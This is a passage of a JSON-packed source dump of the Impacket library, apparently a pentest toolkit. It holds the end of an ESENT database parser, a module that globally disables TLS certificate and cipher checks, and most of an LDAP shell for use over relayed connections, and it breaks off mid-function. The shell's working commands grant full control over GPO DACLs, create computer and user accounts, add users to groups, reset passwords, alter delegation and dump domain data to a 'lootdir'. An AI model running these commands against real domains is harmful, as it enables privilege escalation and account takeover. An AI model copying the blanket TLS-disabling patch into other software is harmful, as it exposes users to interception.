    valueSize = unpack('<H', tag[:2])[0] & 0x1fff\n            pageFlags = (unpack('<H', tag[2:])[0] & 0xe000) >> 13\n            valueOffset = unpack('<H',tag[2:])[0] & 0x1fff\n            tagData = self.data[baseOffset+valueOffset:][:valueSize]\n\n        #return pageFlags, self.data[baseOffset+valueOffset:][:valueSize]\n        return pageFlags, tagData\n\nclass ESENT_DB:\n    def __init__(self, fileName, pageSize = 8192, isRemote = False):\n        self.__fileName = fileName\n        self.__pageSize = pageSize\n        self.__DB = None\n        self.__DBHeader = None\n        self.__totalPages = None\n        self.__tables = OrderedDict()\n        self.__currentTable = None\n        self.__isRemote = isRemote\n        self.mountDB()\n\n    def mountDB(self):\n        LOG.debug(\"Mounting DB...\")\n        if self.__isRemote is True:\n            self.__DB = self.__fileName\n            self.__DB.open()\n        else:\n            self.__DB = open(self.__fileName,\"rb\")\n        mainHeader = self.getPage(-1)\n        self.__DBHeader = ESENT_DB_HEADER(mainHeader)\n        self.__pageSize = self.__DBHeader['PageSize']\n        self.__DB.seek(0,2)\n        self.__totalPages = (self.__DB.tell() // self.__pageSize) -2\n        LOG.debug(\"Database Version:0x%x, Revision:0x%x\"% (self.__DBHeader['Version'], self.__DBHeader['FileFormatRevision']))\n        LOG.debug(\"Page Size: %d\" % self.__pageSize)\n        LOG.debug(\"Total Pages in file: %d\" % self.__totalPages)\n        self.parseCatalog(CATALOG_PAGE_NUMBER)\n\n    def printCatalog(self):\n        indent = '    '\n\n        print(\"Database version: 0x%x, 0x%x\" % (self.__DBHeader['Version'], self.__DBHeader['FileFormatRevision'] ))\n        print(\"Page size: %d \" % self.__pageSize)\n        print(\"Number of pages: %d\" % self.__totalPages)\n        print() \n        print(\"Catalog for %s\" % self.__fileName)\n        for table in list(self.__tables.keys()):\n            print(\"[%s]\" % table.decode('utf8'))\n            print(\"%sColumns \" % indent)\n            for column in list(self.__tables[table]['Columns'].keys()):\n                record = self.__tables[table]['Columns'][column]['Record']\n                print(\"%s%-5d%-30s%s\" % (indent*2, record['Identifier'], column.decode('utf-8'),ColumnTypeToName[record['ColumnType']]))\n            print(\"%sIndexes\"% indent)\n            for index in list(self.__tables[table]['Indexes'].keys()):\n                print(\"%s%s\" % (indent*2, index.decode('utf-8')))\n            print(\"\")\n\n    def __addItem(self, entry):\n        dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(entry['EntryData'])\n        catalogEntry = ESENT_CATALOG_DATA_DEFINITION_ENTRY(entry['EntryData'][len(dataDefinitionHeader):])\n        itemName = self.__parseItemName(entry)\n\n        if catalogEntry['Type'] == CATALOG_TYPE_TABLE:\n            self.__tables[itemName] = OrderedDict()\n            self.__tables[itemName]['TableEntry'] = entry\n            self.__tables[itemName]['Columns']    = OrderedDict()\n            self.__tables[itemName]['Indexes']    = OrderedDict()\n            self.__tables[itemName]['LongValues'] = OrderedDict()\n            self.__currentTable = itemName\n        elif catalogEntry['Type'] == CATALOG_TYPE_COLUMN:\n            self.__tables[self.__currentTable]['Columns'][itemName] = entry\n            self.__tables[self.__currentTable]['Columns'][itemName]['Header'] = dataDefinitionHeader\n            self.__tables[self.__currentTable]['Columns'][itemName]['Record'] = catalogEntry\n        elif catalogEntry['Type'] == CATALOG_TYPE_INDEX:\n            self.__tables[self.__currentTable]['Indexes'][itemName] = entry\n        elif catalogEntry['Type'] == CATALOG_TYPE_LONG_VALUE:\n            self.__addLongValue(entry)\n        else:\n            raise Exception('Unknown type 0x%x' % catalogEntry['Type'])\n\n    def __parseItemName(self,entry):\n        dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(entry['EntryData'])\n\n        if dataDefinitionHeader['LastVariableDataType'] > 127:\n            numEntries =  dataDefinitionHeader['LastVariableDataType'] - 127\n        else:\n            numEntries =  dataDefinitionHeader['LastVariableDataType']\n\n        itemLen = unpack('<H',entry['EntryData'][dataDefinitionHeader['VariableSizeOffset']:][:2])[0]\n        itemName = entry['EntryData'][dataDefinitionHeader['VariableSizeOffset']:][2*numEntries:][:itemLen]\n        return itemName\n\n    def __addLongValue(self, entry):\n        dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(entry['EntryData'])\n        lvLen = unpack('<H',entry['EntryData'][dataDefinitionHeader['VariableSizeOffset']:][:2])[0]\n        lvName = entry['EntryData'][dataDefinitionHeader['VariableSizeOffset']:][7:][:lvLen]\n        self.__tables[self.__currentTable]['LongValues'][lvName] = entry\n\n    def parsePage(self, page):\n        # Print the leaf/branch tags\n        for tagNum in range(1,page.record['FirstAvailablePageTag']):\n            flags, data = page.getTag(tagNum)\n            if page.record['PageFlags'] & FLAGS_LEAF > 0:\n                # Leaf page\n                if page.record['PageFlags'] & FLAGS_SPACE_TREE > 0:\n                    pass\n                elif page.record['PageFlags'] & FLAGS_INDEX > 0:\n                    pass\n                elif page.record['PageFlags'] & FLAGS_LONG_VALUE > 0:\n                    pass\n                else:\n                    # Table Value\n                    leafEntry = ESENT_LEAF_ENTRY(flags, data)\n                    self.__addItem(leafEntry)\n\n    def parseCatalog(self, pageNum):\n        # Parse all the pages starting at pageNum and commit table data\n        page = self.getPage(pageNum)\n        self.parsePage(page)\n\n        for i in range(1, page.record['FirstAvailablePageTag']):\n            flags, data = page.getTag(i)\n            if page.record['PageFlags'] & FLAGS_LEAF == 0:\n                # Branch page\n                branchEntry = ESENT_BRANCH_ENTRY(flags, data)\n                self.parseCatalog(branchEntry['ChildPageNumber'])\n\n\n    def readHeader(self):\n        LOG.debug(\"Reading Boot Sector for %s\" % self.__volumeName)\n\n    def getPage(self, pageNum):\n        LOG.debug(\"Trying to fetch page %d (0x%x)\" % (pageNum, (pageNum+1)*self.__pageSize))\n        self.__DB.seek((pageNum+1)*self.__pageSize, 0)\n        data = self.__DB.read(self.__pageSize)\n        while len(data) < self.__pageSize:\n            remaining = self.__pageSize - len(data)\n            data += self.__DB.read(remaining)\n        # Special case for the first page\n        if pageNum <= 0:\n            return data\n        else:\n            return ESENT_PAGE(self.__DBHeader, data)\n\n    def close(self):\n        self.__DB.close()\n\n    def openTable(self, tableName):\n        # Returns a cursos for later use\n\n        if isinstance(tableName, bytes) is not True:\n            tableName = b(tableName)\n\n        if tableName in self.__tables:\n            entry = self.__tables[tableName]['TableEntry']\n            dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(entry['EntryData'])\n            catalogEntry = ESENT_CATALOG_DATA_DEFINITION_ENTRY(entry['EntryData'][len(dataDefinitionHeader):])\n            \n            # Let's position the cursor at the leaf levels for fast reading\n            pageNum = catalogEntry['FatherDataPageNumber']\n            done = False\n            while done is False:\n                page = self.getPage(pageNum)\n                if page.record['FirstAvailablePageTag'] <= 1:\n                    # There are no records\n                    done = True\n                for i in range(1, page.record['FirstAvailablePageTag']):\n                    flags, data = page.getTag(i)\n                    if page.record['PageFlags'] & FLAGS_LEAF == 0:\n                        # Branch page, move on to the next page\n                        branchEntry = ESENT_BRANCH_ENTRY(flags, data)\n                        pageNum = branchEntry['ChildPageNumber']\n                        break\n                    else:\n                        done = True\n                        break\n                \n            cursor = TABLE_CURSOR\n            cursor['TableData'] = self.__tables[tableName]\n            cursor['FatherDataPageNumber'] = catalogEntry['FatherDataPageNumber']\n            cursor['CurrentPageData'] = page\n            cursor['CurrentTag']  = 0\n            return cursor\n        else:\n            return None\n\n    def __getNextTag(self, cursor):\n        page = cursor['CurrentPageData']\n\n        if cursor['CurrentTag'] >= page.record['FirstAvailablePageTag']:\n            # No more data in this page, chau\n            return None\n\n        flags, data = page.getTag(cursor['CurrentTag'])\n        if page.record['PageFlags'] & FLAGS_LEAF > 0:\n            # Leaf page\n            if page.record['PageFlags'] & FLAGS_SPACE_TREE > 0:\n                raise Exception('FLAGS_SPACE_TREE > 0')\n            elif page.record['PageFlags'] & FLAGS_INDEX > 0:\n                raise Exception('FLAGS_INDEX > 0')\n            elif page.record['PageFlags'] & FLAGS_LONG_VALUE > 0:\n                raise Exception('FLAGS_LONG_VALUE > 0')\n            else:\n                # Table Value\n                leafEntry = ESENT_LEAF_ENTRY(flags, data)\n                return leafEntry\n\n        return None\n\n    def getNextRow(self, cursor, filter_tables = None):\n        cursor['CurrentTag'] += 1\n\n        tag = self.__getNextTag(cursor)\n        #hexdump(tag)\n\n        if tag is None:\n            # No more tags in this page, search for the next one on the right\n            page = cursor['CurrentPageData']\n            if page.record['NextPageNumber'] == 0:\n                # No more pages, chau\n                return None\n            else:\n                cursor['CurrentPageData'] = self.getPage(page.record['NextPageNumber'])\n                cursor['CurrentTag'] = 0\n                return self.getNextRow(cursor, filter_tables = filter_tables)\n        else:\n            return self.__tagToRecord(cursor, tag['EntryData'], filter_tables = filter_tables)\n\n    def __tagToRecord(self, cursor, tag, filter_tables = None):\n        # So my brain doesn't forget, the data record is composed of:\n        # Header\n        # Fixed Size Data (ID < 127)\n        #     The easiest to parse. Their size is fixed in the record. You can get its size\n        #     from the Column Record, field SpaceUsage\n        # Variable Size Data (127 < ID < 255)\n        #     At VariableSizeOffset you get an array of two bytes per variable entry, pointing\n        #     to the length of the value. Values start at:\n        #                numEntries = LastVariableDataType - 127\n        #                VariableSizeOffset + numEntries * 2 (bytes)\n        # Tagged Data ( > 255 )\n        #     After the Variable Size Value, there's more data for the tagged values.\n        #     Right at the beginning there's another array (taggedItems), pointing to the\n        #     values, size.\n        #\n        # The interesting thing about this DB records is there's no need for all the columns to be there, hence\n        # saving space. That's why I got over all the columns, and if I find data (of any type), i assign it. If \n        # not, the column's empty.\n        #\n        # There are a lot of caveats in the code, so take your time to explore it. \n        #\n        # ToDo: Better complete this description\n        #\n\n        record = OrderedDict()\n        taggedItems = OrderedDict()\n        taggedItemsParsed = False\n\n        dataDefinitionHeader = ESENT_DATA_DEFINITION_HEADER(tag)\n        #dataDefinitionHeader.dump()\n        variableDataBytesProcessed = (dataDefinitionHeader['LastVariableDataType'] - 127) * 2\n        prevItemLen = 0\n        tagLen = len(tag)\n        fixedSizeOffset = len(dataDefinitionHeader)\n        variableSizeOffset = dataDefinitionHeader['VariableSizeOffset'] \n \n        columns = cursor['TableData']['Columns'] \n        \n        for column in list(columns.keys()):\n            if filter_tables is not None:\n                if column not in filter_tables:\n                    continue\n            columnRecord = columns[column]['Record']\n            #columnRecord.dump()\n            if columnRecord['Identifier'] <= dataDefinitionHeader['LastFixedSize']:\n                # Fixed Size column data type, still available data\n                record[column] = tag[fixedSizeOffset:][:columnRecord['SpaceUsage']]\n                fixedSizeOffset += columnRecord['SpaceUsage']\n\n            elif 127 < columnRecord['Identifier'] <= dataDefinitionHeader['LastVariableDataType']:\n                # Variable data type\n                index = columnRecord['Identifier'] - 127 - 1\n                itemLen = unpack('<H',tag[variableSizeOffset+index*2:][:2])[0]\n\n                if itemLen & 0x8000:\n                    # Empty item\n                    itemLen = prevItemLen\n                    record[column] = None\n                else:\n                    itemValue = tag[variableSizeOffset+variableDataBytesProcessed:][:itemLen-prevItemLen]\n                    record[column] = itemValue\n\n                #if columnRecord['Identifier'] <= dataDefinitionHeader['LastVariableDataType']:\n                variableDataBytesProcessed +=itemLen-prevItemLen\n\n                prevItemLen = itemLen\n\n            elif columnRecord['Identifier'] > 255:\n                # Have we parsed the tagged items already?\n                if taggedItemsParsed is False and (variableDataBytesProcessed+variableSizeOffset) < tagLen:\n                    index = variableDataBytesProcessed+variableSizeOffset\n                    #hexdump(tag[index:])\n                    endOfVS = self.__pageSize\n                    firstOffsetTag = (unpack('<H', tag[index+2:][:2])[0] & 0x3fff) + variableDataBytesProcessed+variableSizeOffset\n                    while True:\n                        taggedIdentifier = unpack('<H', tag[index:][:2])[0]\n                        index += 2\n                        taggedOffset = (unpack('<H', tag[index:][:2])[0] & 0x3fff) \n                        # As of Windows 7 and later ( version 0x620 revision 0x11) the \n                        # tagged data type flags are always present\n                        if self.__DBHeader['Version'] == 0x620 and self.__DBHeader['FileFormatRevision'] >= 17 and self.__DBHeader['PageSize'] > 8192: \n                            flagsPresent = 1\n                        else:\n                            flagsPresent = (unpack('<H', tag[index:][:2])[0] & 0x4000)\n                        index += 2\n                        if taggedOffset < endOfVS:\n                            endOfVS = taggedOffset\n                        taggedItems[taggedIdentifier] = (taggedOffset, tagLen, flagsPresent)\n                        #print \"ID: %d, Offset:%d, firstOffset:%d, index:%d, flag: 0x%x\" % (taggedIdentifier, taggedOffset,firstOffsetTag,index, flagsPresent)\n                        if index >= firstOffsetTag:\n                            # We reached the end of the variable size array\n                            break\n                \n                    # Calculate length of variable items\n                    # Ugly.. should be redone\n                    prevKey = list(taggedItems.keys())[0]\n                    for i in range(1,len(taggedItems)):\n                        offset0, length, flags = taggedItems[prevKey]\n                        offset, _, _ = list(taggedItems.items())[i][1]\n                        taggedItems[prevKey] = (offset0, offset-offset0, flags)\n                        #print \"ID: %d, Offset: %d, Len: %d, flags: %d\" % (prevKey, offset0, offset-offset0, flags)\n                        prevKey = list(taggedItems.keys())[i]\n                    taggedItemsParsed = True\n \n                # Tagged data type\n                if columnRecord['Identifier'] in taggedItems:\n                    offsetItem = variableDataBytesProcessed + variableSizeOffset + taggedItems[columnRecord['Identifier']][0] \n                    itemSize = taggedItems[columnRecord['Identifier']][1]\n                    # If item have flags, we should skip them\n                    if taggedItems[columnRecord['Identifier']][2] > 0:\n                        itemFlag = ord(tag[offsetItem:offsetItem+1])\n                        offsetItem += 1\n                        itemSize -= 1\n                    else:\n                        itemFlag = 0\n\n                    #print \"ID: %d, itemFlag: 0x%x\" %( columnRecord['Identifier'], itemFlag)\n                    if itemFlag & (TAGGED_DATA_TYPE_COMPRESSED ):\n                        LOG.error('Unsupported tag column: %s, flag:0x%x' % (column, itemFlag))\n                        record[column] = None\n                    elif itemFlag & TAGGED_DATA_TYPE_MULTI_VALUE:\n                        # ToDo: Parse multi-values properly\n                        LOG.debug('Multivalue detected in column %s, returning raw results' % (column))\n                        record[column] = (hexlify(tag[offsetItem:][:itemSize]),)\n                    else:\n                        record[column] = tag[offsetItem:][:itemSize]\n\n                else:\n                    record[column] = None\n            else:\n                record[column] = None\n\n            # If we understand the data type, we unpack it and cast it accordingly\n            # otherwise, we just encode it in hex\n            if type(record[column]) is tuple:\n                # A multi value data, we won't decode it, just leave it this way\n                record[column] = record[column][0]\n            elif columnRecord['ColumnType'] == JET_coltypText or columnRecord['ColumnType'] == JET_coltypLongText: \n                # Let's handle strings\n                if record[column] is not None:\n                    if columnRecord['CodePage'] not in StringCodePages:\n                        raise Exception('Unknown codepage 0x%x'% columnRecord['CodePage'])\n                    stringDecoder = StringCodePages[columnRecord['CodePage']]\n\n                    try:\n                        record[column] = record[column].decode(stringDecoder)\n                    except Exception:\n                        LOG.debug(\"Exception:\", exc_info=True)\n                        LOG.debug('Fixing Record[%r][%d]: %r' % (column, columnRecord['ColumnType'], record[column]))\n                        record[column] = record[column].decode(stringDecoder, \"replace\")\n                        pass\n            else:\n                unpackData = ColumnTypeSize[columnRecord['ColumnType']]\n                if record[column] is not None:\n                    if unpackData is None:\n                        record[column] = hexlify(record[column])\n                    else:\n                        unpackStr = unpackData[1]\n                        record[column] = unpack(unpackStr, record[column])[0]\n\n        return record\n"
  },
  {
    "path": "impacket/examples/__init__.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n\nimport ssl\ndef _insecure_create_default_context(purpose=ssl.Purpose.SERVER_AUTH, *, cafile=None, capath=None, cadata=None):\n    context = ssl._create_default_context(purpose=purpose, cafile=cafile, capath=capath, cadata=cadata)\n    context.minimum_version = ssl.TLSVersion.MINIMUM_SUPPORTED\n    context.set_ciphers(\"ALL:@SECLEVEL=0\")\n    context.check_hostname = False\n    context.verify_mode = ssl.CERT_NONE\n    return context\n\ndef monkeypatch_ssl_create_default_context():\n    if ssl.create_default_context != _insecure_create_default_context:\n        ssl._create_default_context = ssl.create_default_context\n        ssl.create_default_context = _insecure_create_default_context\n\n        from impacket import LOG\n        LOG.debug('Monkeypatch [ssl.create_default_context] to allow connections to insecurely configured servers')\n        LOG.debug('  minimum_version = ssl.TLSVersion.MINIMUM_SUPPORTED')\n        LOG.debug('  set_ciphers(\"ALL:@SECLEVEL=0\")')\n        LOG.debug('  verify_mode = ssl.CERT_NONE')\n\n# -----\n\nimport readline\ndef monkeypatch_readline_backend():\n    if not hasattr(readline, 'backend'):\n        readline.backend = \"readline\"\n\n        from impacket import LOG\n        LOG.debug('Monkeypatch [readline.backend] defining property and setting it to \"readline\"')\n        LOG.debug('  readline.backend = \"readline\"')\n\n# -----\n\nmonkeypatch_ssl_create_default_context()\nmonkeypatch_readline_backend()"
  },
  {
    "path": "impacket/examples/ldap_shell.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   Mini shell using some of the LDAP functionalities of the library\n#\n# Author:\n#   Mathieu Gascon-Lefebvre (@mlefebvre)\n#\nimport re\nimport string\nimport sys\nimport cmd\nimport random\nimport ldap3\nfrom ldap3.core.results import RESULT_UNWILLING_TO_PERFORM\nfrom ldap3.utils.conv import escape_filter_chars\nfrom six import PY2\nimport shlex\nfrom impacket import LOG\nfrom ldap3.protocol.microsoft import security_descriptor_control\nfrom impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP\nfrom impacket.ldap import ldaptypes\nfrom impacket.examples.ntlmrelayx.utils import shadow_credentials\nimport uuid\n\n\nclass LdapShell(cmd.Cmd):\n    LDAP_MATCHING_RULE_IN_CHAIN = \"1.2.840.113556.1.4.1941\"\n\n    def __init__(self, tcp_shell, domain_dumper, client):\n        cmd.Cmd.__init__(self, stdin=tcp_shell.stdin, stdout=tcp_shell.stdout)\n\n        if PY2:\n            # switch to unicode.\n            reload(sys) # noqa: F821 pylint:disable=undefined-variable\n            sys.setdefaultencoding('utf8')\n\n        sys.stdout = tcp_shell.stdout\n        sys.stdin = tcp_shell.stdin\n        sys.stderr = tcp_shell.stdout\n        self.use_rawinput = False\n        self.shell = tcp_shell\n\n        self.prompt = '\\n# '\n        self.tid = None\n        self.intro = 'Type help for list of commands'\n        self.loggedIn = True\n        self.last_output = None\n        self.completion = []\n        self.client = client\n        self.domain_dumper = domain_dumper\n\n    def emptyline(self):\n        pass\n\n    def onecmd(self, s):\n        ret_val = False\n        try:\n            ret_val = cmd.Cmd.onecmd(self, s)\n        except Exception as e:\n            print(e)\n            LOG.error(e)\n            LOG.debug('Exception info', exc_info=True)\n\n        return ret_val\n\n    def create_empty_sd(self):\n        sd = ldaptypes.SR_SECURITY_DESCRIPTOR()\n        sd['Revision'] = b'\\x01'\n        sd['Sbz1'] = b'\\x00'\n        sd['Control'] = 32772\n        sd['OwnerSid'] = ldaptypes.LDAP_SID()\n        # BUILTIN\\Administrators\n        sd['OwnerSid'].fromCanonical('S-1-5-32-544')\n        sd['GroupSid'] = b''\n        sd['Sacl'] = b''\n        acl = ldaptypes.ACL()\n        acl['AclRevision'] = 4\n        acl['Sbz1'] = 0\n        acl['Sbz2'] = 0\n        acl.aces = []\n        sd['Dacl'] = acl\n        return sd\n\n    def create_allow_ace(self, sid):\n        nace = ldaptypes.ACE()\n        nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE\n        nace['AceFlags'] = 0x00\n        acedata = ldaptypes.ACCESS_ALLOWED_ACE()\n        acedata['Mask'] = ldaptypes.ACCESS_MASK()\n        acedata['Mask']['Mask'] = 983551 # Full control\n        acedata['Sid'] = ldaptypes.LDAP_SID()\n        acedata['Sid'].fromCanonical(sid)\n        nace['Ace'] = acedata\n        return nace\n\n    def do_write_gpo_dacl(self, line):\n        args = shlex.split(line)\n        print (\"Adding %s to GPO with GUID %s\" % (args[0], args[1]))\n        if len(args) != 2:\n            raise Exception(\"A samaccountname and GPO sid are required.\")\n\n        tgtUser = args[0]\n        gposid = args[1]\n        self.client.search(self.domain_dumper.root, '(&(objectclass=person)(sAMAccountName=%s))' % tgtUser, attributes=['objectSid'])\n        if len( self.client.entries) <= 0:\n            raise Exception(\"Didnt find the given user\")\n\n        user = self.client.entries[0]\n\n        controls = security_descriptor_control(sdflags=0x04)\n        self.client.search(self.domain_dumper.root, '(&(objectclass=groupPolicyContainer)(name=%s))' % gposid, attributes=['objectSid','nTSecurityDescriptor'], controls=controls)\n\n        if len( self.client.entries) <= 0:\n            raise Exception(\"Didnt find the given gpo\")\n        gpo = self.client.entries[0]\n\n        secDescData = gpo['nTSecurityDescriptor'].raw_values[0]\n        secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)\n        newace = self.create_allow_ace(str(user['objectSid']))\n        secDesc['Dacl']['Data'].append(newace)\n        data = secDesc.getData()\n\n        self.client.modify(gpo.entry_dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)\n        if self.client.result[\"result\"] == 0:\n            print('LDAP server claims to have taken the secdescriptor. Have fun')\n        else:\n            raise Exception(\"Something wasnt right: %s\" %str(self.client.result['description']))\n\n    def do_add_computer(self, line):\n        args = shlex.split(line)\n\n        if not self.client.server.ssl and not self.client.tls_started:\n            print(\"Error adding a new computer with LDAP requires LDAPS.\")\n\n        if len(args) != 1 and len(args) != 2 and len(args) !=3:\n            raise Exception(\"Error expected a computer name, an optional password argument, and an optional nospns argument.\")\n\n        computer_name = args[0]\n        if not computer_name.endswith('$'):\n            computer_name += '$'\n\n        print(\"Attempting to add a new computer with the name: %s\" % computer_name)\n\n        password = \"\"\n        if len(args) == 1 or args[1] == \"nospns\":\n            password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))\n        else:\n            password = args[1]\n\n        domain_dn = self.domain_dumper.root\n        domain = re.sub(',DC=', '.', domain_dn[domain_dn.find('DC='):], flags=re.I)[3:]\n\n        print(\"Inferred Domain DN: %s\" % domain_dn)\n        print(\"Inferred Domain Name: %s\" % domain)\n\n        computer_hostname = computer_name[:-1] # Remove $ sign\n        computer_dn = \"CN=%s,CN=Computers,%s\" % (computer_hostname, self.domain_dumper.root)\n        print(\"New Computer DN: %s\" % computer_dn)\n        \n        if len(args) == 3:\n            if args[2] == \"nospns\":\n                spns = [\n                    'HOST/%s.%s' % (computer_hostname, domain)\n                ]\n            else:\n                raise Exception(\"Invalid third argument: %s\" %str(args[3]))     \n        elif len(args) == 2:\n            if args[1] != \"nospns\":\n                spns = [\n                    'HOST/%s' % computer_hostname,\n                    'HOST/%s.%s' % (computer_hostname, domain),\n                    'RestrictedKrbHost/%s' % computer_hostname,\n                    'RestrictedKrbHost/%s.%s' % (computer_hostname, domain),\n                ]\n            elif args[1] == \"nospns\":\n                spns = [\n                    'HOST/%s.%s' % (computer_hostname, domain)\n                ]\n        elif len(args) == 1:\n            spns = [\n                'HOST/%s' % computer_hostname,\n                'HOST/%s.%s' % (computer_hostname, domain),\n                'RestrictedKrbHost/%s' % computer_hostname,\n                'RestrictedKrbHost/%s.%s' % (computer_hostname, domain),\n            ]\n        else:\n            raise Exception(\"Invalid third argument: %s\" %str(self.args[3])) \n        ucd = {\n            'dnsHostName': '%s.%s' % (computer_hostname, domain),\n            'userAccountControl': 4096,\n            'servicePrincipalName': spns,\n            'sAMAccountName': computer_name,\n            'unicodePwd': '\"{}\"'.format(password).encode('utf-16-le')\n        }\n\n        res = self.client.add(computer_dn, ['top','person','organizationalPerson','user','computer'], ucd)\n\n        if not res:\n            if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM: \n                print(\"Failed to add a new computer. The server denied the operation.\")\n            else:\n                print('Failed to add a new computer: %s' % str(self.client.result))\n        else:\n            print('Adding new computer with username: %s and password: %s result: OK' % (computer_name, password))\n\n    def do_rename_computer(self, line):\n        args = shlex.split(line)\n\n        if len(args) != 2:\n            raise Exception(\"Current Computer sAMAccountName and New Computer sAMAccountName required (rename_computer comp1$ comp2$).\")\n\n        current_name = args[0]\n\n        new_name = args[1]\n\n        self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(current_name), attributes=['objectSid', 'sAMAccountName'])\n        computer_dn = self.client.entries[0].entry_dn\n        \n        if not computer_dn:\n            raise Exception(\"Computer not found in LDAP: %s\" % current_name)\n\n        entry = self.client.entries[0]\n        samAccountName = entry[\"samAccountName\"].value\n        print(\"Original sAMAccountName: %s\" % samAccountName)\n\n        print(\"New sAMAccountName: %s\" % new_name)\n        self.client.modify(computer_dn, {'sAMAccountName':(ldap3.MODIFY_REPLACE, [new_name])})\n        \n        if self.client.result[\"result\"] == 0:\n            print(\"Updated sAMAccountName successfully\")\n        else:\n            if self.client.result['result'] == 50:\n                raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])\n            elif self.client.result['result'] == 19:\n                raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])\n            else:\n                raise Exception('The server returned an error: %s', self.client.result['message'])\n\n    def do_add_user(self, line):\n        args = shlex.split(line)\n\n        if not self.client.server.ssl and not self.client.tls_started:\n            print(\"Error adding a new user with LDAP requires LDAPS.\")\n\n        if len(args) == 0:\n            raise Exception(\"A username is required.\")\n\n        new_user = args[0]\n        if len(args) == 1:\n            parent_dn = 'CN=Users,%s' % self.domain_dumper.root\n        else:\n            parent_dn = args[1]\n\n        new_password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))\n\n        new_user_dn = 'CN=%s,%s' % (new_user, parent_dn)\n        ucd = {\n            'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % self.domain_dumper.root,\n            'distinguishedName': new_user_dn,\n            'cn': new_user,\n            'sn': new_user,\n            'givenName': new_user,\n            'displayName': new_user,\n            'name': new_user,\n            'userAccountControl': 512,\n            'accountExpires': '0',\n            'sAMAccountName': new_user,\n            'unicodePwd': '\"{}\"'.format(new_password).encode('utf-16-le')\n        }\n\n        print('Attempting to create user in: %s', parent_dn)\n        res = self.client.add(new_user_dn, ['top', 'person', 'organizationalPerson', 'user'], ucd)\n        if not res:\n            if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:\n                raise Exception('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.')\n            else:\n                raise Exception('Failed to add a new user: %s' % str(self.client.result['description']))\n        else:\n            print('Adding new user with username: %s and password: %s result: OK' % (new_user, new_password))\n\n    def do_add_user_to_group(self, line):\n        user_name, group_name = shlex.split(line)\n\n        user_dn = self.get_dn(user_name)\n        if not user_dn:\n            raise Exception(\"User not found in LDAP: %s\" % user_name)\n\n        group_dn = self.get_dn(group_name)\n        if not group_dn:\n            raise Exception(\"Group not found in LDAP: %s\" % group_name)\n\n        user_name = user_dn.split(',')[0][3:]\n        group_name = group_dn.split(',')[0][3:]\n\n        res = self.client.modify(group_dn, {'member': [(ldap3.MODIFY_ADD, [user_dn])]})\n        if res:\n            print('Adding user: %s to group %s result: OK' % (user_name, group_name))\n        else:\n            raise Exception('Failed to add user to %s group: %s' % (group_name, str(self.client.result['description'])))\n\n    def do_change_password(self, line):\n        args = shlex.split(line)\n\n        if len(args) != 1 and len(args) != 2:\n            raise Exception(\"Error expected a username and an optional password argument. Instead %d arguments were provided\" % len(args))\n\n        user_dn = self.get_dn(args[0])\n        print(\"Got User DN: \" + user_dn)\n\n        password = \"\"\n        if len(args) == 1:\n            password = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))\n        else:\n            password = args[1]\n\n        print(\"Attempting to set new password of: %s\" % password)\n        success = self.client.extend.microsoft.modify_password(user_dn, password)\n\n        if self.client.result['result'] == 0:\n            print('Password changed successfully!')\n        else:\n            if self.client.result['result'] == 50:\n                raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])\n            elif self.client.result['result'] == 19:\n                raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])\n            else:\n                raise Exception('The server returned an error: %s', self.client.result['message'])\n\n    def do_clear_rbcd(self, computer_name):\n\n        success = self.client.search(self.domain_dumper.root, '(sAMAccountName=%s)' % escape_filter_chars(computer_name), attributes=['objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])\n        if success is False or len(self.client.entries) != 1:\n            raise Exception(\"Error expected only one search result got %d results\", len(self.client.entries))\n\n        target = self.client.entries[0]\n        target_sid = target[\"objectsid\"].value\n        print(\"Found Target DN: %s\" % target.entry_dn)\n        print(\"Target SID: %s\\n\" % target_sid)\n\n        sd = self.create_empty_sd()\n\n        self.client.modify(target.entry_dn, {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})\n        if self.client.result['result'] == 0:\n            print('Delegation rights cleared successfully!')\n        else:\n            if self.client.result['result'] == 50:\n                raise Exception('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])\n            elif self.client.result['result'] == 19:\n                raise Exception('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])\n            else:\n                raise Exception('The server returned an error: %s', self.client.result['message'])\n\n    def do_dump(self, line):\n        print('Dumping domain info...')\n        self.stdout.flush()\n        self.domain_dumper.domainDump()\n        print('Domain info dumped into lootdir!')\n\n    def do_start_tls(self, line):\n        if not self.client.tls_started and not self.client.server.ssl:\n            print('Sending StartTLS command...')\n            if not self.client.start_tls():\n                raise Exception(\"StartTLS failed\")\n            else:\n                print('StartTLS succeded, you are now using LDAPS!')\n        else:\n            